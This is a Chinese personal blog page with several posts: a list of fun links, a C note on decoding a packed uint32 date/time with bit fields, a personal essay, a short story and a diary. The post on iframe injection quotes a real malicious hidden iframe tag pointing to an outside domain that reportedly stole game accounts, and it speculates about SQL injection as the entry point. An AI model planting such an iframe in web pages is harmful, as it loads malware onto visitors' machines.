蓓蓓's profileYBB的小站PhotosBlogLists Tools Help
Photo 1 of 7

YBB的小站

生云梦泽,处天之涯;躺朝露以听海,拈花微笑游于四季
February 05

因无聊收集的无聊人的无聊事

这些链接都比较好玩儿,可以没事的时候看看.
第一大类,与开心网相关的(看了真的很开心):
1.省着钱装修房子(视频):http://www.tudou.com/programs/view/B4P2SCnqKXM/.
2.创意装修(应该还有很多):http://www.douban.com/online/10034143/   http://www.xici.net/b1072423/d83720845.htm
3.买房子图表分析(!-_-):http://share.xmind.net/stone2046/happy-to-buy-a-house-1/
4.看了这个,我知道我买的精装修房子钱是白花了(崇拜之):http://www.kaixinv.com/house/2009/0113/article_66_1.html
5.专门有人收集开心网的拉力赛车状况的:http://reinhardt.ycool.com/post.2963579.html
6.数不清的外挂(js,c#,java...)
 
第二大类,与技术相关的:
1.因为编译链接的时候觉得链接命令不太对,所以搜索到了它,还是很强的:http://www.cppblog.com/aganno2/archive/2006/12/14/16451.html
 
第三大类,怀旧篇:
1.怀旧的人就是多啊:http://www.douban.com/group/lihan/
2.能人多啊多啊~~~(回声):http://www.douban.com/group/topic/4342679/
3.好可爱好恶心滴:http://bbs.ikaka.com/showtopic-8595874.aspx
 
继续surfing...
 
November 04

日期/时间的存储与解析

    最近做的项目中有这样一个需求:将一个uint32的整数解析到一个结构体中去.
    uint32整数的"组装"方式为:
time = (CLFS_time_t)(FileCreationHour << 11) | (CLFS_time_t)(FileCreationMinute << 5) | (CLFS_time_t)(FileCreationSecond);
data = (CLFS_time_t)((FileCreationYear - 1980) << 9) | (CLFS_time_t)(FileCreationMonth << 5) | (CLFS_time_t)(FileCreationDay);
uint32st_ctime = (data << 16) | (time & 0xFFFF);
    用图片表示的话就是:
a(1090 * 83的图片so小...)
    结构体为:
typedef struct
{
  uint16                        year;  /* Year [1980..2100] */
  uint16                        month;  /* Month of year [1..12] */
  uint16                        day;  /* Day of month [1..31] */
  uint16                        hour;  /* Hour of day [0..23] */
  uint16                        minute;  /* Minute of hour [0..59] */
  uint16                        second;  /* Second of minute [0..59] */
  uint16                        day_of_week;  /* Day of the week [0..6] [Monday .. Sunday] */
}time_julian_type;
    很明显,如果我想解析上面的uint32到下面的结构体中去,必须做与"组装"相反的工作:先解析出16bits 的data = uint32st_ctime >> 16,则year = data >> 9,month = (data >> 5) & 0xF,day = data & (1 << 6 -1),time与此类似.
    可以看出,上面的步骤手工计算的地方比较多,所以容易出错,而且复查起来也比较耗时间.那么,我们采取另外一种办法,直接把每个item的bit数列出来,这样比较直观,而且不会出错.
typedef struct time_struct_type
{
 uint16 year : 7;
 uint16 month : 4;
 uint16 day : 5;
 uint16 hour : 5;
 uint16 minute : 6;
 uint16 second : 5;
}time_struct_t;
    这个结构体用到了bitset,一目了然.好,直接把uint32的值赋给它:*((uint32 *)&time_struct) = uint32st_ctime;
    OK,现在就可以把time_struct里的各项内容直接赋给time_julian_type结构体啦,任务完成 :)
June 29

iframe 注入

    昨天某个网友告诉我,他们公司的服务器上多了这样的代码(请不要打开这个网址):
<iframe src=http://www.zynr2008.cn/zynr/index.htm width=50 height=0></iframe>.这个域名一看就是某个无聊的私人作品,偷走了这位网友公司里的所有游戏帐号.
    这让我想起N年前,自己的电脑上某个HTML页面也被加过类似的代码.当时我猜的是不小心执行了.exe,这个.exe会把电脑上所有.html和.htm文件加上iframe,因为.asp,.php文件未被感染.第二次看到iframe注入,让我觉得好奇,想看看到底是怎么回事.
    用google搜索一下,搜到这个链接:http://www.dffy.com/blog/a/okokok/4274.html.它的解释是SQL注入.例如,在某个公开的网页上(比如上面那位网友的公司注册网页),只要与数据库相关并且没有过滤掉关键字,该网页就会成为注入的对象.比如验证用户名是否已存在于数据库中:select ybb from data_name.把 ybb 改为 * 就可以查询所有的注册用户名.但是这与iframe注入有何关联?比较的想不通.可能最多的情况是盗取了数据库中的管理员帐号和密码,用它获得游戏帐号,临走之前再改个网页,把自己的网站加进去,继续祸害他人;又或者,公司内部某人以前访问过隐含这个网址的网页,该网页会自动下载一个.exe文件,该文件会在局域网内传播,寻找可攻击的.html文件.等哪天有时间了,装个虚拟机试试.
    病毒真是防不胜防啊~~~
June 12

夜游将军山

  天色渐渐暗下来,空气里透出丝丝凉意。水面上耀眼的星星点点消失了,代之以软软的碧灰色。
  讨厌的蚊子成群结队地飞出来。嗯,动身回家。
  窄窄的山路蜿蜒着向前。消失在左边,显露在右边,反射了一长串惨淡的月光。没有灯,也没有人。透过一边的树木,看到自己越走越高;另一边紧挨着山体,黑魍魍的像一只兽。
  我和小强走在路上。十分钟?二十分钟?我们不确定时间。甚至不确定方向,依着记忆一步步地走。不停地说话,不着边际的话,滔滔地说。偶尔停顿一秒,黑色的压力便兀自缠上来。
  想起下午去将军山深处探险,阴天。灰色的天空下探得一小亭,亭中一座旧红布幔的轿子,把小小的空间全部占满。轿子里面会不会突然蹿出%&*(?再往深处去,探得石刻大佛一座,两三人高的样子。依山而刻,有些许的裂纹。继续深入,一小径布满莫名的黄砂。右转,前方的景物猛一下沉,小径嘎然而止。待重新回到轿子旁,小强脸上神色凝重。我突然大叫一声(效果很明显)
  没话说的时候,我就开始吹口哨,小强点歌。边吹边走,带着颤音,还是不吹了吧~~~看小强的脸色又开始凝重起来,我想了想,觉得他后来没有吓我,蛮无辜的。还是忍了下来,想像他被吓的样子,开始笑。
  “你很BT啊。”
  “嗯,我在公司里就是BT组的,这是我的工作。”我认真地说。
  路边突然闪了两下。“鬼火?”啊,原来是萤火虫!还是很小的时候见过的虫子了,妈妈把它抓住,放在瓶子里。这比其他的小虫子好玩儿多了,晶莹透亮的绿,定晴看时却又淡得很。右转二十度,约二十平方的草地上竟然布满了这样星星点点的闪光。那么多那么多的萤火虫,静止的,慢慢飞来飞去的。原来走夜路的时候,只要看到活着的东西就好。哪怕是小小的萤火虫呢,一样可以温暖。
May 25

节约 之 改装短裤

    这条牛仔裤穿了好多年,撕的时候蛮心疼的呢~~~
    裤子上的洞洞(口袋下面):                  苍桑的裤腰:                                        苍桑的裤腿:
洞  腰2  裤腿
 
                  先撕一条腿:                                             再撕一条:
一条腿  2
    迫不及待地穿上试试.嗯,还不错.省下了一条短裤的银子,于是又捐了点:)
 
    现在还有一个问题:想想看,剩下的裤腿可以做什么呢 ^_^

          两条裤腿

 

May 09

I like

    早上看<东方卫报>,看到一篇很有趣的文字.报纸丢了,名字忘记了,留在脑中的内容却清晰可辨如在眼前.它构思奇特,语言滑稽;平淡无奇,引人发笑,又让人不知道应该笑哪一点.
    它讲的也就是我们每个人都会遇到的事情:得到和失去.
 
<失物招领巷>
    穿过大街,越过小巷.左转42度,风会从四面八方向巷子深处吹去.来到此处的人们也不用询问,顺着头发的方向走就是了.
    "嗖"的一声,耳边就会掠过个黑影.你要是认真辨认,会发现那是只皮鞋;"喵"的一声,一个黑团滚到一边,原来是不知哪家走失的猫.有时候会看到漫天飞舞的人,他们失败,失恋,失心,失亲人,失朋友,等着被别人拣回去,领回家.
    没人知道这条巷子里究竟摆放了多少东西.走进巷子深处,会发现两边商铺一样的柜台,所有的东西都分门别类地放着,比如袜子就分好几种:被夏天的风吹落阳台的袜子,和老公呕气扔掉的袜子,买来不喜欢送给朋友的袜子,坏心眼的钟点工阿姨赌气故意扔掉的袜子...
    再往里走,会看到一些人抱着阿猫阿狗在哭.
    再往里走,往里走,会看到一团一团的人.他们或坐或立.有些人被记得他的人们领走了,有些人呆坐三五年后,奋起逆风而行,终于穿出了巷子.有些人仍旧选择呆望天空.
April 12

草莓

    今天公司组织采草莓.
DSCF0033
March 18

一顿饭

用手机拍的,不清楚哈。
它们分别是:核桃仁+蜂蜜,猪肉脯,苹果,阿胶枣。
想不到吧,哈哈~~~
历时仅半个小时。淘米上锅后,就开始处理“菜”。要不是为了拍照片,苹果削完就直接吃了,已经有点儿氧化。
简单,营养。偶是靠头脑吃饭的人了。。。
img008img009img010img011
March 10

独立日流水帐 之 免费包场

  下班后在家附近的夜市转了十分钟,买了条项链,漂亮的小kitty。抬头看看自助烧烤店,那块包场的拦客牌竟然没了,赶紧兴冲冲地跑了进去。
  刚拣了个位子坐下,就感觉周围有点儿不对劲:怎么空荡荡的呀?耳朵听到一阵嘀咕,眼睛余光瞄到另个半场里似乎有几个人。唉,还行吧,凑合着吃了,谁叫我一进门就把钱付了呀~~~
  过了二十分钟,旁边那家人也走了。一个人吃还真是冷清呢,服务员至少有十个。随便挑了些东西,坐下来慢慢吃。过一阵儿有服务员拿着钗钗上来,有烤水果,烤肉什么的。突然就觉得很滑稽。我来了之后,至少有三个服务员开始烤东西,烤了半天,我就吃一丁点儿(那个时候已经很饱了),有的还不要。别说他们,我都觉得有点儿郁闷了。。。

独立周流水帐

 
3.3(周一)
  在公司里待了一天,想到爸妈回老家去了,心里特别的高兴。从此可以天天吃大餐,逛超市,买衣服。O,yeah!
  第一天想吃自助烧烤,跑去一看,包场。一个黑色的新郎和一个白色的新娘站在那里。。。于是去路边吃了牛肉砂锅和鸡柳。不过后来逛超市的时候买了一大堆好吃的东西,嘿嘿。
  晚上一到家,本不该拉灯--一拉就坏了。感觉有点儿异样,赶紧跑客厅去把灯打开。一看,水池里积了不知从哪里来的大半缸水,还冒着阴沟水特有的味道,天啊!~~~拿个水桶拎了两大桶倒厕所去,看到一块块不知在阴沟里发酵了多长时间的黑乎乎的东西,哗啦哗啦地掉到厕所底部的积水里去,MD!~~~不敢继续了,要是这里再堵了咋办啊?小心翼翼地用水桶把水池三分之一以上的部分倒到厕所去了。没有太多的黑块儿,但是水体呈灰色,很有份量感。。。
  坐床上看着电视吃草莓 :)
3.4(周二)
  下班后去吃了KFC,没逛超市。去克利斯汀买了提拉米苏,“来伊份”里买了肉脯。回家看了看水池,还是不想动。它已经比昨天更厉害了,一天下来,已经溢出池子,流到门外去了。。。
  开始烧开水。坐在床上看电视吃零食,等着茶壶叫(水开的时候会叫)。电视没什么意思,于是打开电脑看电影。看完一部了,茶壶没叫。。。好怪异!不会出什么叉子吧?看了一眼跑回被窝继续看电影,又过了二十分钟,依然没叫。。。再跑过去,拎下来打开盖子一看,被烧得只剩下半壶了,晕~~~它怎么就不叫呢?才一天就坏了?正好是我爸妈回老家的时候坏了?晚上在被窝里感觉很KB,仔细地把这两天的情况盘算了一下:第一,灯坏了。第二,水池向上冒阴沟水。第三,茶壶坏了。第四,我开始咳嗽。。。全部是这一两天内发生的事情,好邪恶。。。
3.5(周三)
  早晨被隔壁老奶奶的敲门声吵醒,幸亏那时已经穿得差不多了。跑出去开门,她说:你家的水都已经流出来啦~~~找人修修吧,或者打电话找找房东。哦。。。赶紧打电话给老爸,老爸说电话在房契上。房契又在哪里呢?在柜子里~~~保存一下号码,赶紧跑出去上班。边走边打电话。房东曰:让你爸通通。啊?回老家了啊。。。那,那你问那个老太太号码是多少,钱我出!
  晚上去新街口的豪享来吃了牛排。挑了个靠近门口的座位。没有别的意思,只是进来了,看到空着,就坐下了。没想到,那个服务员跑过来问我要点什么,我刚点完她就要我付钱。晕,以前都是先吃后买单的吧,难道是怕我跑了不成。。。吃完开始逛莱迪,没什么特别想买的东西,每次必吃一支麦当劳的摩卡甜筒,好吃,MMMM~~~
  晚上还是不想弄水池 :(用水桶把上面一层没有黑块块的水倒掉后,接了半桶,压在水池底部。看你还冒!继续上床看电视,吃零食~~~
3.6(周四)
  今天吃的是永和豆浆,点了鸡蛋肉松粥+蛋饼。粥里另加了2块钱的肉松,很香,和在粥里有点咸咸的;蛋饼非常的嫩,建议去试试。
  晚上回家,还是不想修水池~~~
3.7(周五)
  白天在公司,想着是不是周末住宾馆去,有家标准间只要100元的。因为三八节的缘故,公司发了150的购物券+电影票+白玫瑰。我和另一个同事研究了半天,那朵花到底是月季还是玫瑰~~~
  晚上跑自助烧烤去一看,还是被包场了。。。再去永和,这回是咸豆腐花+蟹黄汤包+蛋饼。蟹黄汤包没什么蟹黄味。。。蛋饼端上来的时候,旁边那个女人问:这个叫什么?她对面的那个男人赶紧跑过去买单了,嘻嘻~~~
  晚上回家,还是不想修水池~~~
3.8(周六)
  今天三八节,和TLL约好出去逛逛。但是早上醒了一看,竟然下雨。“妇女节”升级成了“美女节”,估计有一半是商家搞的鬼。不过嘛,女人就要对自己好一点的~~~在床上躺了一天,玩了几局SC,终于可以打过电脑了,哇哈哈! 
  越躺越不想动,觉得房间里阴森森的~~~五点多出去开了一下门透气,发现门边上有一张疏通管道的小名片,于是开始打电话,煮方便面。
  他要一百块。晕,这么贵?打电话找房东和他砍去,反正不是我掏钱,花了我五分钟的电话费,已经仁至义尽了~~~
  我把垃圾桶换了个塑料袋,让他把脏东西全放里面去。他要了个凳子,铺了层报纸,把个脏兮兮的机器放上去。对了,灯泡还坏了,所以我把台灯拿出来,往挂抹布的绳上一夹。嘿,蛮顶用的!他开动了机器,我非常非常后悔为什么不把周围的东西都用报纸盖上:(。机器非常吵,我跑里屋去吃方便面,想着过会儿如何收拾。不过,那种阴森森的感觉没了,呵呵。
  他花了半个钟头收拾完,赚了八十块。看来,如果以后某天我失业了,只要不怕脏,也能去干这个啊^-^擦完桌子扫完地,突然觉得自己很伟大,嘿嘿。
3.9(周日)
  今天事情很多,要交宽带费,手机费,煤气费,水费,电费。不过第一个去的地方是琴行,我要报名学钢琴的~~~培训社里的那个女孩说得不错,小孩有大人管着,大人没人管,就比较懒散(例如我)。即使坚持下来,也要两年才能弹得专业-_-!。排完队交完费,回来的路上看到水果很可爱,于是买了草莓。拎手里感觉没扣我秤,所以又买了芒果,哈哈。
  烧烤自助依旧包场,啊~~~去吃鸭血粉丝+汤包。